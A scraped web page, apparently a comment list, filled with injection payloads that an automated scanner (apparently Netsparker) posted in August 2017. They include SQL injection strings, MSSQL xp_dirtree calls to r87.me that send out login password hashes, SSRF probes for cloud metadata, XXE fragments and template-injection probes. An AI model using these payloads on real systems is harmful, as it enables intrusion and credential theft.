\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n {php}print(int)0xFFF9999-22;{/php}\r\n

\r\n
\r\n

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR X='ss

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 17-7=10

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \"+print(int)0xFFF9999-22+\"\r\n

\r\n
\r\n

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+NSFTW+'

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR 'ns'='ns

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 AND 'NS='ss

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n '+print(int)0xFFF9999-22+'\r\n

\r\n
\r\n

NSFTW

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

NS1NO

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n +print(int)0xFFF9999-22;//\r\n

\r\n
\r\n

'

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22\r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n <% response.write(268409241-22) %>\r\n

\r\n
\r\n

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.0.0.1:3306

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.100.11.2:22

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \"+response.write(268409241-22)+\"\r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n +response.write(268409241-22)'\r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://169.254.169.254/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n response.write(268409241-22)'\r\n

\r\n
\r\n

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://aws.r87.me/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me\r\n

\r\n
\r\n

::1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

https://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

///r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/\\r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

r87.com/?https://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n #{28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ${28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n http://example.com/?\r\nns: netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

#{28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

${28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n
